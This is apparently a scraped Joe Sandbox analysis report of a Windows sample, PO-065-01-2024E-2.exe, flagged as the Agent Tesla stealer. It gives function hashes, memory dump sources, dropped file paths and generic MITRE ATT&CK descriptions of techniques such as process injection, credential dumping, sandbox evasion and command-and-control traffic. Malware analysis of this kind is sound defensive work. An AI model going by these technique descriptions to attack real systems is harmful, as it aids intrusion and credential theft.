Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 065E0040 Relevance: 2.0, Instructions: 1959COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2493020744.00000000065E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_65e0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f28d5fe2f06bc3c8e72599a3acf1b9c8d6d7c6d0dc7f2137f04a348d7a562e3
Instruction ID: d961696293eda3548231cf7b76e55f6bfa9283059908469cdb4e28a5a82c67e2
Opcode Fuzzy Hash: 0f28d5fe2f06bc3c8e72599a3acf1b9c8d6d7c6d0dc7f2137f04a348d7a562e3
Instruction Fuzzy Hash: 1113F931D10A198ACB15EF68C8906ADF7B1FF99300F14D79AE459B7221EB70AAD4CF41

Uniqueness

Uniqueness Score: -1.00%

Function 016341F8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\VJm, xrefs: 016344AF

Memory Dump Source

Source File: 00000008.00000002.2488361739.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1630000_CasPol.jbxd

Similarity

API ID:
String ID: \VJm
API String ID: 0-4047210350
Opcode ID: 6aa8a5ca4805a1d6253c325f3eda505d2e091089442d91835b6d31b82d990c2a
Instruction ID: 47779b653ab50c7a2e27e93dca517c1d22322181dff8379ee7db603cae0fadc4
Opcode Fuzzy Hash: 6aa8a5ca4805a1d6253c325f3eda505d2e091089442d91835b6d31b82d990c2a
Instruction Fuzzy Hash: A9B10B70E006198FEB14CFA9DC857AEFBF2BF88714F148129D815A7394EB749846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 065EE388 Relevance: .6, Instructions: 569COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2493020744.00000000065E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_65e0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbb77117b59501e51c6752e185c476aa1708808322d5c214250bb08ffb84951b
Instruction ID: 1027f787edfdd07b6defceae9a5cd5ca93dcc46aa46ac2c703b45b620564a905
Opcode Fuzzy Hash: cbb77117b59501e51c6752e185c476aa1708808322d5c214250bb08ffb84951b
Instruction Fuzzy Hash: 9E228D70B202058FDF58DB68D485BAEB7E2FB89310F24856AD406DB3A1DA75EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 065E7678 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2493020744.00000000065E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_65e0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 843bc19f5a0debe4758f36f16107169c462d79ac0fdaece36f8183d0b095ed42
Instruction ID: 0dea38aa268c89a3645fe0d52aff25373cf8ffbc39d346c374c5277dd4d4cae8
Opcode Fuzzy Hash: 843bc19f5a0debe4758f36f16107169c462d79ac0fdaece36f8183d0b095ed42
Instruction Fuzzy Hash: 85123A70E00219CFDF68DF65D844A9EB7B6BF89300F2085A9D40AAB355EB719D81CF80

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO-065-01-2024E-2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
PO-065-01-2024E-2.exe

Function 016370A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 01633EB0 Relevance: 1.5, Strings: 1, Instructions: 238
COMMON

Function 065E3050 Relevance: .5, Instructions: 545
COMMON

Function 065E5490 Relevance: 1.6, Strings: 1, Instructions: 329
COMMON

Function 016370A0 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Function 0163F2B2 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Function 0163F2B8 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Function 065EFECD Relevance: 1.3, Strings: 1, Instructions: 60
COMMON

Function 065EFED8 Relevance: 1.3, Strings: 1, Instructions: 59
COMMON

Function 065ECF28 Relevance: .8, Instructions: 797
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre